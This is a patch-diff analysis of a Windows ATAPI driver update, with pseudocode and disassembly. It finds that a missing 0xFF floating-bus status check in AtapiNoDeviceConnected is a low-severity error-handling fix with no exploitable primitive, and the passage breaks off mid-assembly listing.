&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The only behavioral change is a new &lt;code&gt;0xFF&lt;/code&gt; (floating-bus / no-device) status check added at the entry of &lt;code&gt;AtapiNoDeviceConnected&lt;/code&gt; (unpatched &lt;code&gt;sub_1C0001FC8&lt;/code&gt; → patched &lt;code&gt;sub_1C0001FD8&lt;/code&gt;). In the unpatched build a &lt;code&gt;0xFF&lt;/code&gt; status returned by the callee is classified as "no error"; the patched callee classifies it as an error. Both ATA-command callers already pre-checked &lt;code&gt;0xFF&lt;/code&gt; before calling, so the delivered delta is limited to a narrow window: when the status transitions to &lt;code&gt;0xFF&lt;/code&gt; inside the callee's own retry loop. This is an error-handling correctness fix (CWE-755) of low severity. Everything else in the diff is compiler-level churn (register allocation, &lt;code&gt;test&lt;/code&gt;→&lt;code&gt;bt&lt;/code&gt; rewrites, loop-counter restructure, and a &lt;code&gt;mov al&lt;/code&gt;→&lt;code&gt;movzx eax&lt;/code&gt; codegen change that is semantically identical in both builds).&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding #1 — Missing 0xFF floating-bus status check in &lt;code&gt;AtapiNoDeviceConnected (sub_1C0001FC8)&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Low&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Class:&lt;/strong&gt; CWE-755 (improper handling of an exceptional condition)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected function:&lt;/strong&gt; &lt;code&gt;atapi!AtapiNoDeviceConnected (sub_1C0001FC8)&lt;/code&gt; (patched as &lt;code&gt;atapi!AtapiNoDeviceConnected (sub_1C0001FD8)&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root cause.&lt;/strong&gt; In ATA/ATAPI, reading the status port when no device is electrically present returns &lt;code&gt;0xFF&lt;/code&gt; — the bus floats and pull-up resistors drive all data lines high. The unpatched status classifier treats only &lt;code&gt;0x7F&lt;/code&gt; (diagnostic) and &lt;code&gt;0x00&lt;/code&gt; (when &lt;code&gt;arg3 != 0&lt;/code&gt;) as conditions to act on; a &lt;code&gt;0xFF&lt;/code&gt; status falls straight through to the &lt;code&gt;return 0&lt;/code&gt; (no-error) path.&lt;/p&gt;
&lt;p&gt;Both ATA-command callers (&lt;code&gt;AtapiSendAtaIdentify (sub_1C00020C0)&lt;/code&gt; and &lt;code&gt;AtapiSendAtaCommand (sub_1C0002200)&lt;/code&gt;) pre-check &lt;code&gt;0xFF&lt;/code&gt; with an explicit &lt;code&gt;cmp ...,0xff; je error&lt;/code&gt; before the call, so a &lt;code&gt;0xFF&lt;/code&gt; present at call time is already handled by the caller. The gap the patch closes is a narrow window: &lt;code&gt;AtapiNoDeviceConnected&lt;/code&gt; itself re-reads the status register inside its retry loop and writes the new value back through &lt;code&gt;*arg2&lt;/code&gt;, but never re-checks the re-read value for &lt;code&gt;0xFF&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;do {
    AtaPortStallExecution(0x1388);
    *arg2 = AtaPortReadPortUchar(status_port);   // may become 0xFF here
    ...
} while (...);
// unpatched: only 0x7F is re-checked after the loop
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The retry loop is entered only when the initial status is &lt;code&gt;0x7F&lt;/code&gt;, or &lt;code&gt;0x00&lt;/code&gt; with &lt;code&gt;arg3 != 0&lt;/code&gt;. If the device becomes electrically absent during the poll window, &lt;code&gt;*arg2&lt;/code&gt; is updated to &lt;code&gt;0xFF&lt;/code&gt; but the function still returns &lt;code&gt;0&lt;/code&gt; ("no error").&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Effect of the change.&lt;/strong&gt; In the unpatched build, a &lt;code&gt;0xFF&lt;/code&gt; that appears inside the loop makes the callee return &lt;code&gt;0&lt;/code&gt;; the caller then re-reads the (now &lt;code&gt;0xFF&lt;/code&gt;) status and, via its signed-comparison branch (&lt;code&gt;0xFF&lt;/code&gt; has the sign bit set), routes to result code &lt;code&gt;6&lt;/code&gt; instead of the device-error result code &lt;code&gt;5&lt;/code&gt; that the caller's own &lt;code&gt;0xFF&lt;/code&gt; pre-check produces. In the patched build the callee returns &lt;code&gt;1&lt;/code&gt; for &lt;code&gt;0xFF&lt;/code&gt;, so the caller routes to result code &lt;code&gt;5&lt;/code&gt;. The demonstrable difference is therefore the classification of a removed/absent device during that window: retry-class (&lt;code&gt;6&lt;/code&gt;) versus device-error (&lt;code&gt;5&lt;/code&gt;). No memory-safety primitive, information disclosure, or attacker-controlled write is produced by this change.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Entry point &amp;amp; data flow (paths verified by call targets in the disassembly):&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The storage stack dispatches an IRB (&lt;code&gt;IDE_REQUEST_BLOCK&lt;/code&gt;) into the miniport's start-I/O handler &lt;code&gt;AtapiHwStartIo (sub_1C0001700)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;ATA command state handlers &lt;code&gt;AtapiSendAtaIdentify (sub_1C00020C0)&lt;/code&gt; / &lt;code&gt;AtapiSendAtaCommand (sub_1C0002200)&lt;/code&gt; poll the device status register.&lt;/li&gt;
&lt;li&gt;Each handler calls &lt;code&gt;AtapiNoDeviceConnected (sub_1C0001FC8)(arg1, &amp;amp;status, arg3, arg4)&lt;/code&gt; to classify the status.&lt;/li&gt;
&lt;li&gt;Inside the callee, if the initial status was &lt;code&gt;0x7F&lt;/code&gt; (or &lt;code&gt;0x00&lt;/code&gt; with &lt;code&gt;arg3&lt;/code&gt;), the loop re-reads the status port; if the device becomes absent during that window &lt;code&gt;*arg2&lt;/code&gt; becomes &lt;code&gt;0xFF&lt;/code&gt; and, in the unpatched build, the function returns "no error".&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The status classifier is also reachable from the interrupt-driven PIO path (&lt;code&gt;AtapiHwInterrupt (sub_1C0001790)&lt;/code&gt; → &lt;code&gt;AtapiProcessInterrupt (sub_1C0002AA0)&lt;/code&gt;), but the &lt;code&gt;0xFF&lt;/code&gt;-handling change is confined to &lt;code&gt;AtapiNoDeviceConnected&lt;/code&gt; itself.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;AtapiNoDeviceConnected (sub_1C0001FC8)&lt;/code&gt; (unpatched) vs. &lt;code&gt;AtapiNoDeviceConnected (sub_1C0001FD8)&lt;/code&gt; (patched)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// === UNPATCHED AtapiNoDeviceConnected (sub_1C0001FC8) ===&lt;/span&gt;
&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;AtapiNoDeviceConnected&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                                   &lt;/span&gt;&lt;span class="c1"&gt;// default: NO ERROR&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x7F&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// only these enter the loop&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;AtaPortStallExecution&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x1388&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;AtaPortReadPortUchar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x48&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="c1"&gt;// may become 0xFF here&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;initial_status&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// ... arg3 secondary read, then:&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x7F&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;// only re-checks 0x7F&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// 0xFF (whether at entry or re-read in the loop) falls through -&amp;gt; returns 0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// === PATCHED AtapiNoDeviceConnected (sub_1C0001FD8) ===&lt;/span&gt;
&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;AtapiNoDeviceConnected&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xFF&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// NEW: floating bus / no device present&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;// NEW: classify as error immediately&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x7F&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/* same loop body */&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Caller change (&lt;code&gt;AtapiSendAtaIdentify (sub_1C00020C0)&lt;/code&gt;, &lt;code&gt;AtapiSendAtaCommand (sub_1C0002200)&lt;/code&gt;)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// === UNPATCHED caller ===&lt;/span&gt;
&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;read_status&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xFF&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;device_error&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;// explicit pre-check (callee lacks 0xFF handling)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;AtapiNoDeviceConnected&lt;/span&gt;&lt;span class="p"&gt;(...))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...;&lt;/span&gt;

&lt;span class="c1"&gt;// === PATCHED caller ===&lt;/span&gt;
&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;read_status&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;AtapiNoDeviceConnected&lt;/span&gt;&lt;span class="p"&gt;(...))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// callee handles 0xFF itself; pre-check removed&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;mov al&lt;/code&gt; → &lt;code&gt;movzx eax&lt;/code&gt; codegen change — &lt;strong&gt;no behavioral effect&lt;/strong&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// UNPATCHED (AtapiSendAtaCommand 0x1c00023a3)&lt;/span&gt;
&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0xb&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; load multiplier byte&lt;/span&gt;
&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;
&lt;span class="nf"&gt;je&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;skip&lt;/span&gt;
&lt;span class="nf"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; zero-extension here, before imul&lt;/span&gt;
&lt;span class="nf"&gt;imul&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;esi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;

&lt;span class="c1"&gt;// PATCHED (AtapiSendAtaCommand 0x1c00023d0)&lt;/span&gt;
&lt;span class="nf"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0xb&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; zero-extension at load time&lt;/span&gt;
&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;
&lt;span class="nf"&gt;je&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;skip&lt;/span&gt;
&lt;span class="nf"&gt;imul&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;esi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The unpatched path already executes &lt;code&gt;movzx eax, al&lt;/code&gt; before &lt;code&gt;imul esi, eax&lt;/code&gt;, so the value entering the multiplication is identical in both builds. The patch merely hoists the zero-extension into the load. This is a pure compiler-output difference with no semantic change. The identical pattern appears in &lt;code&gt;AtapiProcessInterrupt (sub_1C0002AA0)&lt;/code&gt; (unpatched &lt;code&gt;mov al, [rcx+rbp+0xb]&lt;/code&gt; at &lt;code&gt;0x1c0002c25&lt;/code&gt;, followed by &lt;code&gt;movzx eax, al; imul r14d, eax&lt;/code&gt;).&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;AtapiNoDeviceConnected (sub_1C0001FC8)&lt;/code&gt; — unpatched (missing 0xFF handling)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; ---- AtapiNoDeviceConnected @ 0x1C0001FC8 ----&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0001fe5:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;bpl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; status byte -&amp;gt; bpl&lt;/span&gt;
